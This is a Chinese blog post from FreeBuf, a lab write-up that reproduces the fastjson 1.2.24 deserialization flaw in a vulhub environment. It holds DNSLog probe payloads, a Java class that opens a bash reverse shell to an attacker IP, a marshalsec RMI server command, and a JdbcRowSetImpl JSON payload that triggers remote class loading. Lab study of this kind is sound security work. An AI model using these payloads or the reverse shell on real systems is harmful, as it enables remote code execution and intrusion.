freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

fastjson1.2.24反序列化漏洞_vulhub
BenJM 2024-02-28 15:43:23 197827

前言

写这篇文章的初衷在于读了太多的相关fastjosn反序列化漏洞文章没有读懂,面试的过程中也经常被问道反序列化的问题,把自己理解的梳理记录一下

漏洞相关

原理:fastjson反序列化漏洞,攻击者可利用恶意json数据中的@type字段来触发漏洞,通过fastjson的反序列化功能执行恶意代码。漏洞的根源在于fastjson引入了AutoType功能,导致在反序列化过程中读取@type字段并调用相应类的setter方法。

危害:这种漏洞可能导致远程代码执行、敏感信息泄露等安全问题。攻击者可以利用这个漏洞来对系统进行攻击。

安全建议:为了防止这种漏洞的发生,建议及时更新fastjson版本或者采取其他安全措施来保护系统安全。

环境信息

靶机centos7(192.168.0.100):docker+vulhub+java1.8

攻击机kali(192.168.0.101):java 1.8+maven 3.9.6如下(自带的Java环境无法完成,maven可以尝试apt安装,建议手动配置)

1709099771_65decafbc72e83baa3b01.png!small?1709099775051

工具准备

marshalsec安装

git clone https://github.com/mbechler/marshalsec//虚拟机下载慢可以直接去项目打包然后拖进去 cd marshalsec mvn clean package -DskipTests #编译


编译成功后/marshalsec/target会出现marshalsec-0.0.3-SNAPSHOT-all.jar的文件,编译时间可能有点久

漏洞验证

1.从返回信息中获得JOSN信息

验证数据包,访问http://靶机IP:8090 使用burp进行抓包,抓包后将GET传输方式改为POST这个时候会在相应包中返回fastjosn字段信息

1709088337_65de9e51713beaec1c162.png!small?1709088339154

可以看到返回的字段中包含了fastjosn信息,有文章说这里提交的请求包要加一个不闭合的 { ,我这里测试发现加 { 之后并不会返回有关fastjosn的信息只有报错,只换成POST就会有返回信息,这里可以多测试一下

还有一些情况,构造的josn会返回当前fastjosn的版本信息,但是这个靶场环境我这里是没有返回

1709026258_65ddabd2b2b4c7e29e603.png!small

2.利用DNSLog验证是否存在

这里简单说一下为什么DNSLog可以验证漏洞是否存在,通过构造恶意的josn数据发起请求,触发fastjosn反序列化操作执行恶意josn数据,恶意的josn数据中包含了DNSLog域名,那么当攻击者发送包含恶意JSON数据的请求时,DNSLog平台会接收到这个DNS请求并给出回显,从而证明Fastjson存在漏洞

接下来就是去访问DNSLog生成域名(ps:我的谷歌和EG都打不开DNSLog只有火狐可以正常访问),把生成的域名按照如下方式去拼接在请求包,这里需要注意Content-type的类型应该为 application/josn,这个原因是:Content-Type字段为application/json可以让客户端向服务器发送包含JSON格式数据的请求。这样可以更安全地传输数据,同时也能够更方便地处理复杂的数据结构。服务器端可以根据请求中的Content-Type字段来判断请求的数据格式,并做出相应的处理。

当前版本

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

在这里:@type字段是JSON中的一个键,用于指定对象的类型。在这个例子中,@type的取值为"java.net.Inet4Address",表示该对象是一个Java中的Inet4Address类型的对象。用于序列化和反序列化对象时标识对象的类型信息。

Content-Type字段为 application/json 可以准确的处理@type中的josn字段

1709026376_65ddac486708d34374a88.png!small

可以看到DNSLog有返回信息

1709088938_65dea0aa9a1d6dafc0284.png!small?1709088940172

漏洞复现

在攻击机上创建Getshell.java,内容如下:替换IP为你的攻击机IP,端口也一样,这里是指将shell反弹至攻击机的4444端口,编写成功后的文件执行javac Getshell.java进行编译得到Getshell.class

import java.lang.Runtime;
import java.lang.Process;

public class Getshell{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.101/4444 0>&1 "};
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
//do nothing
}    
}
}

1709098579_65dec653632731f15090e.png!small?1709098580919使用python命令在Getshell.class文件所在的位置打开终端开启临时网站环境:

python -m http.server 7766  //端口随意,路径是文件的位置

1709098667_65dec6ab9a05d2acdfe17.png!small?1709098669102

1709098791_65dec7272edc8c66158ea.png!small?1709098792587

接下来在攻击kali利用marshalsec开启rmi服务

解释一下这里,上面的环境已经开启了临时的网站环境,环境下面有Getshell.class,这里开启的7788端口是给rmi的,然后把这个端口和7766绑定一起,将RMI服务绑定到7788端口的目的是为了在7788端口上监听RMI请求并响应,而这个路径下面有java类文件Getshell.class,通告构造恶意的josn请求去执行java类文件,达到反弹shell的目的

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101:7766/#Getshell" 7788

同时创建监听4444端口信息,也就是上面编译后的Getshll.class文件中指向攻击机的端口

然后访问vulhub上的fastjson进行抓包,请求包构造恶意josn请求为访问攻击机下的rmi服务

这里的Content-type的类型与上面相同改为   application/josn  发送请求

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.101:7788/Getshell",
"autoCommit":true
}
}

1709099366_65dec966295a6e50797ae.png!small

此时攻击机kali7788端口与4444端口状态:已经成功反弹shell

1709099632_65deca7049e16798158e5.png!small?1709099634039

到这里攻击过程就结束了

如果只是探测漏洞,不拿shell的话上面的Getshell.java的文件内容可以为TouchFile.java,进行编译,后面的过程注意文件名的变化,在这里关注rmi监听端口的状态即可

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

burp请求构造

Content-Type: application/json
Content-Length: 170

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://your-ip:7788/TouchFile",
"autoCommit":true
}
}

# 渗透测试 # 网络安全 # web安全 # Fastjson反序列化漏洞
本文为 BenJM 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞测试
BenJM LV.2
malou
  • 3 文章数
  • 1 关注者
centos7安装Java1.8与maven3.9.6
2024-03-01
vulhub下复现log4j CVE-2021-44228
2024-02-26
文章目录